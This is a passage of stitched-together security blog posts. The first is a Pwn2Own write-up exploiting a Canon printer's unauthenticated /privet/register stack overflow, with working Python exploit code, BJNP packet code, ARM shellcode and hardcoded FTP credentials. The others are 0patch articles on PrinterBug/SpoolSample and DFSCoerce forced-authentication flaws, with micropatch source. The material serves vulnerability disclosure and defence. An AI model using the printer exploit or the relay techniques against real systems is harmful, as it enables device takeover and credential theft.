an equation where the unknown was the program which would satisfy all the constraints built using the known plaintext/ciphertext pairs. The "Essential" guide to Rosette covers this in an example for us. So we started by defining the "program" grammar and crypt
function, which
defines a program using the grammar, with two operands, up to 3 layers deep:
(define int8? (bitvector 8))
(define (int8 i)
(bv i int8?))
(define-grammar (fast-int8 x y) ; Grammar of int32 expressions over two inputs:
[expr
(choose x y (?? int8?) ; <expr> := x | y | <32-bit integer constant> |
((bop) (expr) (expr)) ; (<bop> <expr> <expr>) |
((uop) (expr)))] ; (<uop> <expr>)
[bop
(choose bvadd bvsub bvand ; <bop> := bvadd | bvsub | bvand |
bvor bvxor bvshl ; bvor | bvxor | bvshl |
bvlshr bvashr)] ; bvlshr | bvashr
[uop
(choose bvneg bvnot)]) ; <uop> := bvneg | bvnot
(define (crypt x i)
(fast-int8 x i #:depth 3))
Once this is done, we can define the constraints, based on the known plain/encrypted pairs and their position (byte counter i
). And then we ask Rosette for an instance of the crypt
program which satisfies the constraints:
(define sol (solve
(assert
; removing constraints speed things up
(&& (bveq (crypt (int8 #x62) (int8 0)) (int8 #x3d))
; [...]
(bveq (crypt (int8 #x69) (int8 7)) (int8 #x3d))
(bveq (crypt (int8 #x06) (int8 #x16)) (int8 #x20))
(bveq (crypt (int8 #x5e) (int8 #x17)) (int8 #x73))
(bveq (crypt (int8 #x5e) (int8 #x18)) (int8 #x75))
(bveq (crypt (int8 #xe8) (int8 #x19)) (int8 #x62))
; [...]
(bveq (crypt (int8 #xc3) (int8 #xe0)) (int8 #x3a))
(bveq (crypt (int8 #xef) (int8 #xff)) (int8 #x20))
)
)
))
(print-forms sol)
After running racket rosette.rkt
and waiting for a few minutes, we get the following output:
(list 'define '(crypt x i)
(list
'bvor
(list 'bvlshr '(bvsub i x) (list 'bvadd (bv #x87 8) (bv #x80 8)))
'(bvsub (bvadd i i) (bvadd x x))))
which is a valid decryption program ! But it's a bit untidy. So let's convert it to C, with a trivial simplification:
uint8_t crypt(uint8_t i, uint8_t x) {
uint8_t t = i-x;
return (((2*t)&0xFF)|((t>>((0x87+0x80)&0xFF))&0xFF))&0xFF;
}
and compile it with gcc -m32 -O2
using https://godbolt.org to get the optimized version:
mov al, byte ptr [esp+4]
sub al, byte ptr [esp+8]
rol al
ret
So our encryption algorithm was a trivial ror(x-i, 1)
!
Exploiting setup
After we decrypted the firmware and noticed the serial port, we decided to set up an environment that would facilitate our exploitation of the vulnerability.
We set up a Raspberry Pi on the same network as the printer that we also connected to the serial port of the printer. In this way we could remotely exploit the vulnerability while controlling the status of the printer via many features offered by the serial port.
Serial port: dry shell
The serial port gave us access to the aforementioned dry shell which provided incredible help to understand / control the printer status and debug it during our exploitation attempts.
Among the many powerful features offered, here are the most useful ones:
- The ability to perform a full memory dump: a simple and quick way to retrieve the updated firmware unencrypted.
- The ability to perform basic filesystem operations.
-
The ability to list the running tasks and their associated memory segments.
-
The ability to start an FTP daemon, this will come handy later.
-
The ability to inspect the content of memory at a specific address.
This feature was used a lot to understand what was going on during exploitation attempts. One of the annoying things is the presence of a watchdog which restarts the whole printer if the HTTP daemon crashes. We had to run this command quickly after any exploitation attempts.
Vulnerability
Attack surface
The Pwn2Own rules state that if there's authentication, it should be bypassed. Thus, the easiest way to win is to find a vulnerability in a non authenticated feature. This includes obvious things like:
- Printing functions and protocols,
- Various web pages,
- The HTTP server,
- The SNMP server.
We started by enumerating the "regular" web pages that are handled by the web server (by checking the registered pages in the code), including the weird /elf/
subpages. We then realized some other URLs were available in the firmware, which were not obviously handled by the usual code: /privet/
, which are used for cloud based printing.
Vulnerable function
Reverse engineering the firmware is rather straightforward, even if the binary is big. The CPU is standard ARMv7. By reversing the handlers, we quickly found the following function. Note that all names were added manually, either taken from debug logging strings or after reversing:
int __fastcall ntpv_isXPrivetTokenValid(char *token)
{
int tklen; // r0
char *colon; // r1
char *v4; // r1
int timestamp; // r4
int v7; // r2
int v8; // r3
int lvl; // r1
int time_delta; // r0
const char *msg; // r2
char buffer[256]; // [sp+4h] [bp-174h] BYREF
char str_to_hash[28]; // [sp+104h] [bp-74h] BYREF
char sha1_res[24]; // [sp+120h] [bp-58h] BYREF
int sha1_from_token[6]; // [sp+138h] [bp-40h] BYREF
char last_part[12]; // [sp+150h] [bp-28h] BYREF
int now; // [sp+15Ch] [bp-1Ch] BYREF
int sha1len; // [sp+164h] [bp-14h] BYREF
bzero(buffer, 0x100u);
bzero(sha1_from_token, 0x18u);
memset(last_part, 0, sizeof(last_part));
bzero(str_to_hash, 0x1Cu);
bzero(sha1_res, 0x18u);
sha1len = 20;
if ( ischeckXPrivetToken() )
{
tklen = strlen(token);
base64decode(token, tklen, buffer);
colon = strtok(buffer, ":");
if ( colon )
{
strncpy(sha1_from_token, colon, 20);
v4 = strtok(0, ":");
if ( v4 )
strncpy(last_part, v4, 10);
}
sprintf_0(str_to_hash, "%s%s%s", x_privet_secret, ":", last_part);
if ( sha1(str_to_hash, 28, sha1_res, &sha1len) )
{
sha1_res[20] = 0;
if ( !strcmp_0((unsigned int)sha1_from_token, sha1_res, 0x14u) )
{
timestamp = strtol2(last_part);
time(&now, 0, v7, v8);
lvl = 86400;
time_delta = now - LODWORD(qword_470B80E0[0]) - timestamp;
if ( time_delta <= 86400 )
{
msg = "[NTPV] %s: x-privet-token is valid.\n";
lvl = 5;
}
else
{
msg = "[NTPV] %s: issue_timecounter is expired!!\n";
}
if ( time_delta <= 86400 )
{
log(3661, lvl, msg, "ntpv_isXPrivetTokenValid");
return 1;
}
log(3661, 5, msg, "ntpv_isXPrivetTokenValid");
}
else
{
log(3661, 5, "[NTPV] %s: SHA1 hash value is invalid!!\n", "ntpv_isXPrivetTokenValid");
}
}
else
{
log(3661, 3, "[NTPV] ERROR %s fail to generate hash string.\n", "ntpv_isXPrivetTokenValid");
}
return 0;
}
log(3661, 6, "[NTPV] %s() DEBUG MODE: Don't check X-Privet-Token.", "ntpv_isXPrivetTokenValid");
return 1;
}
The vulnerable code is the following line:
base64decode(token, tklen, buffer);
With some thought, one can recognize the bug from the function signature itself -- there is no buffer length parameter passed in, meaning base64decode
has no knowledge of buffer bounds.
In this case, it decodes the base64-encoded value of the X-Privet-Token
header into the local, stack based buffer
which is 256 bytes long. The header is attacker-controlled is limited only by HTTP constraints, and as a result can be much larger. This leads to a textbook stack-based buffer overflow. The stack frame is relatively simple:
-00000178 var_178 DCD ?
-00000174 buffer DCB 256 dup(?)
-00000074 str_to_hash DCB 28 dup(?)
-00000058 sha1_res DCB 20 dup(?)
-00000044 var_44 DCD ?
-00000040 sha1_from_token DCB 24 dup(?)
-00000028 last_part DCB 12 dup(?)
-0000001C now DCD ?
-00000018 DCB ? ; undefined
-00000017 DCB ? ; undefined
-00000016 DCB ? ; undefined
-00000015 DCB ? ; undefined
-00000014 sha1len DCD ?
-00000010
-00000010 ; end of stack variables
The buffer
array is not really far from the stored return address, so exploitation should be relatively easy. Initially, we found the call to the vulnerable function in the /privet/printer/createjob
URL handler, which is not accessible before authenticating, so we had to dig a bit more.
ntpv functions
The various ntpv URLs and handlers are nicely defined in two different arrays of structures as you can see below:
privet_url nptv_urls[8] =
{
{ 0, "/privet/info", "GET" },
{ 1, "/privet/register", "POST" },
{ 2, "/privet/accesstoken", "GET" },
{ 3, "/privet/capabilities", "GET" },
{ 4, "/privet/printer/createjob", "POST" },
{ 5, "/privet/printer/submitdoc", "POST" },
{ 6, "/privet/printer/jobstate", "GET" },
{ 7, NULL, NULL }
};
DATA:45C91C0C nptv_cmds id_cmd <0, ntpv_procInfo>
DATA:45C91C0C ; DATA XREF: ntpv_cgiMain+338↑o
DATA:45C91C0C ; ntpv_cgiMain:ntpv_cmds↑o
DATA:45C91C0C id_cmd <1, ntpv_procRegister>
DATA:45C91C0C id_cmd <2, ntpv_procAccesstoken>
DATA:45C91C0C id_cmd <3, ntpv_procCapabilities>
DATA:45C91C0C id_cmd <4, ntpv_procCreatejob>
DATA:45C91C0C id_cmd <5, ntpv_procSubmitdoc>
DATA:45C91C0C id_cmd <6, ntpv_procJobstate>
DATA:45C91C0C id_cmd <7, 0>
After reading the documentation and reversing the code, it appeared that the register
URL was accessible without authentication and called the vulnerable
code.
Exploitation
Triggering the bug
Using a pattern generated with rsbkb, we were able to get the following crash on the serial port:
Dry> < Error Exception >
CORE : 0
TYPE : prefetch
ISR : FALSE
TASK ID : 269
TASK Name : AsC2
R 0 : 00000000
R 1 : 00000000
R 2 : 40ec49fc
R 3 : 49789eb4
R 4 : 316f4130
R 5 : 41326f41
R 6 : 6f41336f
R 7 : 49c1b38c
R 8 : 49d0c958
R 9 : 00000000
R10 : 00000194
R11 : 45c91bc8
R12 : 00000000
R13 : 4978a030
R14 : 4167a1f4
PC : 356f4134
PSR : 60000013
CTRL : 00c5187d
IE(31)=0
Which gives:
$ rsbkb bofpattoff 4Ao5
Offset: 434 (mod 20280) / 0x1b2
Astute readers will note that the offset is too big compared to the local stack frame size, which is only 0x178 bytes. Indeed, the correct offset for PC
, from the start of the local buffer is 0x174. The 0x1B2 which we found using the buffer overflow pattern actually triggers a crash elsewhere and makes exploitation way harder. So remember to always check if your offsets make sense.
Buffer overflow
As the firmware is lacking protections such as stack cookies, NX, and ASLR, exploiting the buffer overflow should be rather straightforward, despite the printer running DRYOS which differs from usual operating systems. Using the information gathered while researching the vulnerability, we built the following class to exploit the vulnerability and overwrite the PC
register with an arbitrary address:
import struct
class PrivetPayload:
def __init__(self, ret_addr=0x1337):
self.ret_addr = ret_addr
@property
def r4(self):
return b"\x44\x44\x44\x44"
@property
def r5(self):
return b"\x55\x55\x55\x55"
@property
def r6(self):
return b"\x66\x66\x66\x66"
@property
def pc(self):
return struct.pack("<I", self.ret_addr)
def __bytes__(self):
return (
b":" * 0x160
+ struct.pack("<I", 0x20) # pHashStrBufLen
+ self.r4
+ self.r5
+ self.r6
+ self.pc
)
The vulnerability can then be triggered with the following code, assuming the printer's IP address is 192.168.1.100
:
import base64
import http.client
payload = privet.PrivetPayload()
headers = {
"Content-type": "application/json",
"Accept": "text/plain",
"X-Privet-Token": base64.b64encode(bytes(payload)),
}
conn = http.client.HTTPConnection("192.168.1.100", 80)
conn.request("POST", "/privet/register", "", headers)
To confirm that the exploit was extremely reliable, we simply jumped to a debug function's entry point (which printed information to the serial console) and observed it worked consistently — though the printer rebooted afterwards because we hadn't cleaned the stack.
With this out of the way, we now need to work on writing a useful exploit. After reaching out to the organizers to learn more about their expectations regarding the proof of exploitation, we decided to show a custom image on the printer's LCD screen.
To do so, we could basically:
- Store our exploit in the buffer used to trigger the overflow and jump into it,
- Find another buffer we controlled and jump into it,
- Rely only on return-oriented programming.
Though the first method would have been possible (we found a convenient add r3, r3, #0x103 ; bx r3
gadget), we were limited by the size of the buffer itself, even more so because parts of it were being rewritten in the function's body. Thus, we decided to look into the second option by checking other protocols supported by the printer.
BJNP
One of the supported protocols is BJNP, which was conveniently exploited by Synacktiv ninjas on a different printer, accessible on UDP port 8611
.
This project adds a BJNP backend for CUPS, and the protocol itself is also handled by Wireshark.
In our case, BJNP is very useful: it can handle sessions and allows the client to store data (up to 0x180
bytes) on the printer for the duration of the session, which means we can precisely control until when our payload will remain available in memory. Moreover, this data is stored in the field of a global structure, which means it is always located at the same address for a given firmware. For the sake of our exploit, we reimplemented parts of the protocol using
Scapy:
from scapy.packet import Packet
from scapy.fields import (
EnumField,
ShortField,
StrLenField,
BitEnumField,
FieldLenField,
StrFixedLenField,
)
class BJNPPkt(Packet):
name = "BJNP Packet"
BJNP_DEVICE_ENUM = {
0x0: "Client",
0x1: "Printer",
0x2: "Scanner",
}
BJNP_COMMAND_ENUM = {
0x000: "GetPortConfig",
0x201: "GetNICInfo",
0x202: "NICCmd",
0x210: "SessionStart",
0x211: "SessionEnd",
0x212: "GetSessionInfo",
0x220: "DataRead",
0x221: "DataWrite",
0x230: "GetDeviceID",
0x232: "CmdNotify",
0x240: "AppCmd",
}
BJNP_ERROR_ENUM = {
0x8200: "Invalid header",
0x8300: "Session error",
0x8502: "Session already exists",
}
fields_desc = [
StrFixedLenField("magic", default=b"MFNP", length=4),
BitEnumField("device", default=0, size=1, enum=BJNP_DEVICE_ENUM),
BitEnumField("cmd", default=0, size=15, enum=BJNP_COMMAND_ENUM),
EnumField("err_no", default=0, enum=BJNP_ERROR_ENUM, fmt="!H"),
ShortField("seq_no", default=0),
ShortField("sess_id", default=0),
FieldLenField("body_len", default=None, length_of="body", fmt="!I"),
StrLenField("body", b"", length_from=lambda pkt: pkt.body_len),
]
For our version of the firmware, the BJNP structure is located at 0x46F2B294
and the session data sent by the client is stored at offset 0x24
. We also want our payload to run in thumb mode to reduce its size, which means we need to jump to an odd address. All in all, we can simply overwrite the pc
register with
0x46F2B294+0x24+1=0x46F2B2B9
in our original payload to reach the BJNP session buffer.
Initial PoC
Quick recap of the exploitation strategy:
- Start a BJNP session and store our exploit in the session data,
- Exploit the buffer overflow to jump in the session buffer,
- Close the BJNP session to remove our exploit from memory once it ran.
To demonstrate this, we can jump to the function which disables the energy save mode on the printer (and wakes the screen up, which is useful to check if it actually worked). In our firmware, it is located at 0x413054D8
, and we simply need to set the r0
register to 0
before calling it:
mov r0, #0
mov r12, #0x54D8
movt r12, #0x4130
blx r12
To avoid the printer rebooting, we can also fix the r0
and lr
registers to
restore the original flow:
mov r0, #0
mov r1, #0xEBA0
movt r1, #0x40DE
mov lr, r1
bx lr
Putting it all together, here is an exploit which does just that:
import time
import socket
import base64
import http.client
def store_payload(sock, payload):
assert len(payload) <= 0x180, ValueError(
"Payload too long: {} is greater than {}".format(len(payload), 0x180)
)
pkt = BJNPPkt(
cmd=0x210,
seq_no=0,
sess_id=1,
body=(b"\x00" * 8 + payload + b"\x00" * (0x180 - len(payload))),
)
pkt.show2()
sock.sendall(bytes(pkt))
res = BJNPPkt(sock.recv(4096))
res.show2()
# The printer should return a valid session ID
assert res.sess_id != 0, ValueError("Failed to create session")
def cleanup_payload(sock):
pkt = BJNPPkt(
cmd=0x211,
seq_no=0,
sess_id=1,
)
pkt.show2()
sock.sendall(bytes(pkt))
res = BJNPPkt(sock.recv(4096))
res.show2()
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect(("192.168.1.100", 8610))
bjnp_payloads = bytes.fromhex("4FF0000045F2D84C44F2301CE0474FF000004EF6A031C4F2DE018E467047")
store_payload(sock, bjnp_payload)
privet_payload = privet.PrivetPayload(ret_addr=0x46F2B2B9)
headers = {
"Content-type": "application/json",
"Accept": "text/plain",
"X-Privet-Token": base64.b64encode(bytes(privet_payload)),
}
conn = http.client.HTTPConnection("192.168.1.100", 80)
conn.request("POST", "/privet/register", "", headers)
time.sleep(5)
cleanup_payload(sock)
sock.close()
Payload
We can now build upon this PoC to create a meaningful payload. As we want to display a custom image on screen, we need to:
- Find a way of uploading the image data (as we're limited to
0x180
bytes in total in the BJNP session buffer), - Make sure the screen is turned on (for example, by disabling the energy save mode as above),
- Call the display function with our image data to show it on screen.
Displaying an image
As the firmware contains a number of debug functions, we were able to understand the display mechanism rather quickly. There is a function able to write an image into the frame buffer (located at 0x41305158
in our firmware) which takes two arguments: the address of an RGB image, and the address of a frame buffer structure which looks like below:
struct frame_buffer_struct {
unsigned short x;
unsigned short y;
unsigned short width;
unsigned short height;
};
The frame buffer can only be used to display 320x240
pixels at a time which isn't enough to cover the whole screen as it is 800x480 pixels. We push this structure on the stack with the following code:
sub sp, #8
mov r0, #320
strh r0, [sp, #4] ; width
mov r0, #240
strh r0, [sp, #6] ; height
mov r0, #0
strh r0, [sp] ; x
strh r0, [sp, #2] ; y
Once this is done, assuming r5
contains the address of our image buffer, we display it on screen with the following code:
; Display frame buffer
mov r1, r5 ; Image buffer
mov r0, sp ; Frame buffer struct
mov r12, #0x5158
movt r12, #0x4130
blx r12
This leaves the question of the image buffer itself.
FTP
Though we thought of multiple options to upload the image, we ended up deciding to use a legitimate feature of the printer: it can serve as an FTP server, which is disabled by default. Thus, we need to:
- Enable the
ftpd
service, - Upload our image from the client,
- Read the image in a buffer.
In our firmware, the function to enable the ftpd
service is located at 0x4185F664
and takes 4 arguments: the maximum number of simultaneous client, the timeout, the command port, and the data port. It can be enabled with the following payload:
mov r0, #0x3 ; Max clients
mov r1, #0x0 ; Timeout
mov r2, #21 ; Command port
mov r3, #20 ; Data port
mov r12, #0xF664
movt r12, #0x4185
blx r12
The ftpd
service also has a feature to change directory. This doesn't really matter to us since the default directory is always S:/
. We could however decide to change it to: either access data stored on other paths (e.g. the admin password) or to ensure our exploit works correctly even if the directory was somehow changed beforehand. To do so, we would need to call the function at 0x4185E2A4
with the r0
register set to the address of the new path string.
Once enabled, the FTP server requires credentials to connect. Fortunately for us, they are hardcoded in the firmware as guest
/ welcome.
. We can upload our image (called a
in this example) with the following code:
import ftplib
with ftplib.FTP(host="192.168.1.100", user="guest", passwd="welcome.") as ftp:
with open("image.raw") as f:
ftp.storbinary("STOR a", f)
File system
We are simply left with reading the image from the filesystem. Thankfully, DRYOS has an abstraction layer to handle this, allowing us to only look for the equivalent of the usual open
, read
, and close
functions. In our firmware, they are located respectively at 0x416917C8
, 0x41691A20
, and 0x41691878
. Assuming r5
contains the address of our image path, we can open the file like so:
mov r2, #0x1C0
mov r1, #0
mov r0, r5 ; Image path
mov r12, #0x17C8
movt r12, #0x4169
blx r12
mov r5, r0 ; File handle
; Exit if there was an error opening the file
cmp r5, #0
ble .end
The image being too large to store on the stack, we could decide to dynamically allocate a buffer. However, the firmware contains debug images stored in writable memory, so we decided to overwrite one of them instead to simplify the exploit. We went with 0x436A3F64
, which originally contains a screenshot of a calculator.
Here is the payload to read the content of the file into this buffer:
; Get address of image buffer
mov r10, #0x3F64
movt r10, #0x436A
; Compute image size
mov r2, #320 ; Width
mov r3, #240 ; Height
mov r6, #3 ; Depth
mul r6, r6, r2
mul r6, r6, r3
; Read content of file in buffer
mov r3, #0 ; Bytes read
mov r4, r6 ; Bytes left to read
.loop:
mov r2, r4 ; Number of bytes to read
add r1, r10, r3 ; Buffer position
mov r0, r5 ; File handle
mov r12, #0x1A20
movt r12, #0x4169
blx r12
cmp r0, #0
ble .end_read ; Exit in case of an error
add r3, r3, r0
sub r4, r4, r0
cmp r4, #0
bgt .loop
For completeness, here is how to close the file:
mov r0, r5
mov r12, #0x1878
movt r12, #0x4169
blx r12
Putting everything together
In the end, our exploit is split into 3 parts:
- Execute a first payload to enable the
ftpd
service and change to theS:/
directory, - Upload our image using FTP,
- Exploit the vulnerability with another payload reading the image and displaying it on the screen.
You can find the script handling all this in the exploit.zip and you can see the exploit in action here.
It feels a bit... Anticlimactic? Where is the Doom port for DRYOS when you need it...
Patch
Canon published an advisory in March 2022 alongside a firmware update.
A quick look at this new version shows that the /privet
endpoint is no longer reachable: the function registering this path now logs a message before simply exiting, and the /privet
string no longer appears in the binary. Despite this, it seems like the vulnerable code itself is still there - though it is now supposedly unreachable. Strings related to FTP have also been removed, hinting that Canon may have disabled this feature as well.
As a side note, disabling this feature makes sense since Google Cloud Print was discontinued on December 31, 2020, and Canon announced they no longer supported it as of January 1, 2021.
Conclusion
In the end, we achieved a perfectly reliable exploit for our printer. It should be noted that our whole work was based on the European version of the printer, while the American version was used during the contest, so a bit of uncertainty still remained on the d-day. Fortunately, we had checked that the firmware of both versions matched beforehand.
We also adapted the offsets in our exploit to handle versions 9.01
, 10.02
, and 10.03
(released during the competition) in case the organizers' printer was updated. To do so, we built a script to automatically find the required offsets in the firmware and update our exploit.
All in all, we were able to remotely display an image of our choosing on the printer's LCD screen, which counted as a success and earned us 2 Master of Pwn points.
Micropatching the "PrinterBug/SpoolSample" - Another Forced Authentication Issue in Windows
by Mitja Kolsek, the 0patch Team
Forced authentication issues (including NTLM relaying and Kerberos relaying) are a silent elephant in the room in Windows networks, where an attacker inside the network can force a chosen computer in the same network to perform authentication over the network such that the attacker can intercept its request. In the process, the attacker obtains some user's or computer account's credentials and can then use these to perform actions with the "borrowed" identity.
In case of PetitPotam, for instance, the attacker forces a Windows server to authenticate to a computer of their choice using the computer account - which can lead to arbitrary code execution on the server. With RemotePotato0, an attacker already logged in to a Windows computer (e.g., a Terminal Server) can force the computer to reveal credentials of any other user also logged in to the same computer.
For a great primer on relaying attacks in Windows, check out the article "I’m bringing relaying back: A comprehensive guide on relaying anno 2022" by Jean-François Maes of TrustedSec. Dirk-jan Mollema of Outsider Security also wrote several excellent pieces: "The worst of both worlds: Combining NTLM Relaying and Kerberos delegation", "Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin" and "NTLM relaying to AD CS - On certificates, printers and a little hippo."
Alas, Microsoft's position seems to be not to fix forced authentication issues unless an attack can be mounted anonymously; their fix for PetitPotam confirms that - they only addressed the anonymous attack vector. In other words:
If any domain user in a typical enterprise network should decide to become domain administrator, no official patch will be made available to prevent them from doing so.
Microsoft does suggest (here, here) various countermeasures to mitigate such attacks, including disabling NTLM, enabling EPA for Certificate Authority, or requesting LDAP signing and channel binding. These mitigations, however, are often a no-go for large organizations as they would break existing processes. It therefore isn't surprising that many of our large customers ask us for micropatches to address these issues in their networks.
Consequently, at 0patch we've decided to address all known forced authentication issues in Windows exploitable by either anonymous or low-privileged attackers.
The Vulnerability
The vulnerability we micropatched this time has two names - PrinterBug and SpoolSample - but no CVE ID as it is considered a "won't fix" by the vendor. Its first public reference is this 2018 Derbycon presentation "The Unintended Risks of Trusting Active Directory" by
Will Schroeder, Lee Christensen, and Matt Nelson of SpecterOps, where authors describe how the MS-RPRN RPC interface can be used to force a remote computer to initiate authentication to attacker's computer.
Will Schroeder's subsequent paper "Not A Security Boundary: Breaking Forest Trusts" explains how this bug can be used for breaking the forest trust relationships; with March 2019 Windows Updates, Microsoft provided a related fix for CVE-2019-0683, addressing only the forest trust issue.
Today, four-plus years later, the PrinterBug/SpoolSample still works on all Windows systems for forcing a Windows computer running Print Spooler service to authenticate to attacker's computer, provided the attacker knows any domain user's credentials. As such, it is comparable to PetitPotam, which also still works for a low-privileged attacker (Microsoft only fixed the anonymous attack), and the recently disclosed DFSCoerce issue - which we're also preparing a micropatch for.
The vulnerability can be triggered by making a remote procedure call to a Windows computer (e.g., domain controller) running Print Spooler Service, specifically calling function RpcRemoteFindFirstPrinterChangeNotification(Ex) and providing the address of attacker's computer in the pszLocalMachine argument. Upon receiving such request, Print Spooler Service establishes an RPC channel back to attacker's computer - authenticating as the local computer account! This is enough for the attacker to relay received credentials to a certificate service in the network and obtain a privileged certificate.
When RpcRemoteFindFirstPrinterChangeNotification(Ex) is called, it impersonates the client via the YImpersonateClient function - which is good. The execution then continues towards the vulnerability by calling RemoteFindFirstPrinterChangeNotification. This function then calls SetupReplyNotification, which in turn calls OpenReplyRemote: this function reverts the impersonation (!) before calling RpcReplyOpenPrinter, where an RPC request to the attacker-specified host is made using the computer account.
We're not sure why developers decided to revert impersonation of the caller before making that RPC call, but suspect it was to ensure the call would have sufficient permissions to succeed regardless of the caller's identity. In any case, this allow the attacker to effectively exchange low-privileged credentials for high-privileged ones.
Our Micropatch
When patching an NTLM relaying issue, we have a number of options, for instance:
- using client impersonation, so the attacker only receives their own credentials instead of server's,
- adding an access check to see if the calling user has sufficient permissions for the call at all, or
- outright cutting off the vulnerable functionality, when it seems hard to fix or unlikely to be used.
This particular bug fell into the latter category, as we could not find a single product actually using the affected functionality, and Windows are also not using it in their printer-related products. If it turns out our assessment was incorrect, we can easily revoke this patch and replace it with one that performs impersonation.
Our micropatch is very simple: it simulates an "access denied" (error code 5) response from the RpcReplyOpenPrinter function without letting it make the "leaking" RPC call. This also blocks the same attack that might be launched via other functions that call RpcReplyOpenPrinter.
Source code of the micropatch has just two CPU instructions:
MODULE_PATH "..\Affected_Modules\spoolsv.exe_10.0.17763.2803_Srv2019_64-bit_u202205\spoolsv.exe"
PATCH_ID 908
PATCH_FORMAT_VER 2
VULN_ID 7419
PLATFORM win64
patchlet_start
PATCHLET_ID 1
PATCHLET_TYPE 2
PATCHLET_OFFSET 0x576cc
N_ORIGINALBYTES 5
JUMPOVERBYTES 0
PIT spoolsv.exe!0x577df
; 0x577df -> return block
code_start
mov ebx, 5
jmp PIT_0x577df
code_end
patchlet_end
Micropatch Availability
While this vulnerability has no official patch and could be considered a "0day", Microsoft seems determined not to fix relaying issues such as this one; therefore, this micropatch is not provided in the FREE plan but requires a PRO or Enterprise license.
The micropatch was written for the following Versions of Windows with all available Windows Updates installed:
- Windows 11 v21H2
-
Windows 10 v21H2
-
Windows 10 v21H1
-
Windows 10 v20H2
- Windows 10 v2004
- Windows 10 v1909
- Windows 10 v1903
- Windows 10 v1809
- Windows 10 v1803
-
Windows 7 (no ESU, ESU year 1, ESU year 2)
- Windows Server 2008 R2 (no ESU, ESU year 1, ESU year 2)
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2016
- Windows Server 2019
- Windows Server 2022
This micropatch has already been distributed to, and is being applied to, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that).
If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.
To learn more about 0patch, please visit our Help Center.
We'd like to thank Will Schroeder, Lee Christensen, and Matt Nelson of SpecterOps for sharing details about this vulnerability, and Dirk-jan Mollema of Outsider Security for excellent articles on relaying attacks and exploiting PrinterBug/SpoolSample in particular. We also encourage security researchers to privately share their analyses with us for micropatching.
Micropatching the "DFSCoerce" Forced Authentication Issue (No CVE)
by Mitja Kolsek, the 0patch Team
"DFSCoerce" is another forced authentication issue in Windows that can be used by a low-privileged domain user to take over a Windows server, potentially becoming a domain admin within minutes. The issue was discovered by security researcher Filip Dragovic, who also published a POC.
Filip's tweet indicated this issue can be used even if you have disabled or filtered services that other currently known forced authentication issues such as PrinterBug/SpoolSample, PetitPotam, ShadowCoerce and RemotePotato0 are exploiting: "Spooler service disabled, RPC filters installed to prevent PetitPotam and File Server VSS Agent Service not installed but you still want to relay DC authentication to ADCS? Don't worry MS-DFSNM have your back ;)"
A quick reminder: Microsoft does not fix forced authentication issues unless an attack can be mounted anonymously. Our customers unfortunately can't all disable relevant services or implement mitigations without breaking production, so it is on us to provide them with such patches.
The Vulnerability
The vulnerability lies in the Distributed File System (DFS) service. Any authenticated user can make a remote procedure call to this service and execute functions NetrDfsAddStdRoot or NetrDfsremoveStdRoot, providing them with host name or IP address of attacker's computer. These functions both properly perform a permissions check using a call to AccessImpersonateCheckRpcClient, which returns error code 5 ("access denied") for users who aren't allowed to do any changes to DFS. If access is denied, they block the adding or removing of a stand-alone namespace - but they both still perform a credentials-leaking request to the specified host name or IP address.
Such leaked credentials - belonging to server's computer account - can be relayed to some other service in the network such as LDAP or Certificate Service to perform privileged operations leading to further unauthorized access. Unsurprisingly, attackers and red teams like such things.
Our Micropatch
Since a proper access check was already in place, just not reacted to entirely properly, we decided to use its result and correct the logic in both vulnerable functions.
The image below shows our patch (green code blocks) injected in function NetrDfsremoveStdRoot. As you can see, a call to AccessImpersonateCheckRpcClient is made in the original code, which returns 5 ("access denied") when the caller has insufficient permissions. This information is then stored as one bit into register r8b, and copied to local variable arg_18 (sounds like an argument, but compilers use so-called "home space" for local variables when it suits them). Our patch code takes the return value of AccessImpersonateCheckRpcClient and compares it to 5; if equal, we sabotage attacker's attempts by placing a zero at the beginning of their ServerName string pointed to by rcx, effectively turning it into an empty string. This approach allows us to minimize the amount of code and complexity of the patch, which is always our goal. Function DfsDeleteStandaloneRoot, which causes the forced authentication to attacker's host, is then called from the original code (moved to a blue trampoline code block) but it gets an empty string for the host name - and returns an error. A blocked attack therefore behaves as if a request was made by an unprivileged user with an illegal ServerName. We decided not to log this as an attempted exploit to avoid possible false positives in case a regular user without malicious intent might somehow trigger this code via Windows user interface.
Source code of the micropatch shows two identical patchlets, one for function NetrDfsAddStdRoot and one for NetrDfsremoveStdRoot:
MODULE_PATH "..\Affected_Modules\dfssvc.exe_10.0.17763.2028_Srv2019_64-bit_u202206\dfssvc.exe"
PATCH_ID 952
PATCH_FORMAT_VER 2
VULN_ID 7442
PLATFORM win64
patchlet_start
PATCHLET_ID 1 ; NetrDfsAddStdRoot
PATCHLET_TYPE 2
PATCHLET_OFFSET 0x183e
N_ORIGINALBYTES 5
JUMPOVERBYTES 0
code_start
neg eax ; get original return value from AccessImpersonateCheckRpcClient
cmp eax, 5 ; check if access denied(5) was returned
jne CONTINUE_1 ; return value is not 5, continue with
; normal code execution
mov word[rcx], 0 ; else set ServerHost to NULL. Result: DFSNM
; SessionError: code: 0x57 - ERROR_INVALID_PARAMETER
; continue with original code
CONTINUE_1:
code_end
patchlet_end
patchlet_start
PATCHLET_ID 2 ; NetrDfsremoveStdRoot
PATCHLET_TYPE 2
PATCHLET_OFFSET 0x1c96
N_ORIGINALBYTES 5
JUMPOVERBYTES 0
code_start
neg eax ; get original return value from AccessImpersonateCheckRpcClient
cmp eax, 5 ; check if access denied(5) was returned
jne CONTINUE_2 ; return value is not 5, continue with
; normal code execution
mov word[rcx], 0 ; else set ServerHost to NULL. Result: DFSNM
; SessionError: code: 0x57 -
ERROR_INVALID_PARAMETER
; continue with original code
CONTINUE_2:
code_end
patchlet_end
Micropatch Availability
While
this vulnerability has no official patch and could be considered a
"0day", Microsoft seems determined not to fix relaying issues such as
this one; therefore, this micropatch is not provided in the FREE plan
but requires a PRO or Enterprise license.
The micropatch was written for the following Versions of Windows with all available Windows Updates installed:
- Windows Server 2008 R2
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2016
- Windows Server 2019
- Windows Server 2022
This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that).
